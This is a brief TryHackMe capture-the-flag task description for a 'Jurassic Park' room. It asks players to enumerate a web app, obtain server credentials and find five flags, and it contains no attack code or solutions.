#### Jurassic Park CTF

&#x20;Start Machine

![](https://i.imgur.com/QbveEJf.png)

This medium-hard task will require you to enumerate the web application, get credentials to the server and find 5 flags hidden around the file system. Oh, *Dennis* Nedry has helped us to secure the app too...

You're also going to want to turn up your devices volume (firefox is recommended). So, deploy the VM and get hacking..

Please [connect to our network](https://tryhackme.com/access) before deploying the machine.

Answer the questions below
